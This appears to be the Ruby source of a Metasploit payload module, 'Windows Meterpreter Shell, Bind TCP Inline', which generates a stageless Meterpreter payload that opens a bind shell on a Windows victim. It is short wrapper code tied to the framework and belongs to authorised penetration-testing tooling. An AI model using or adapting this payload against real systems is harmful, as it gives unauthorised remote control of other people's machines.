45 lines
1.2 KiB
Ruby
45 lines
1.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/core/payload/windows/stageless_meterpreter'
|
|
require 'msf/base/sessions/meterpreter_x86_win'
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
module Metasploit3
|
|
|
|
CachedSize = :dynamic
|
|
|
|
include Msf::Payload::Windows::StagelessMeterpreter
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
'Name' => 'Windows Meterpreter Shell, Bind TCP Inline',
|
|
'Description' => 'Connect to victim and spawn a Meterpreter shell',
|
|
'Author' => [ 'OJ Reeves' ],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
|
], self.class)
|
|
end
|
|
|
|
def generate
|
|
# blank LHOST indicates bind payload
|
|
url = "tcp://:#{datastore['LPORT']}"
|
|
generate_stageless_meterpreter(url)
|
|
end
|
|
|
|
end
|
|
|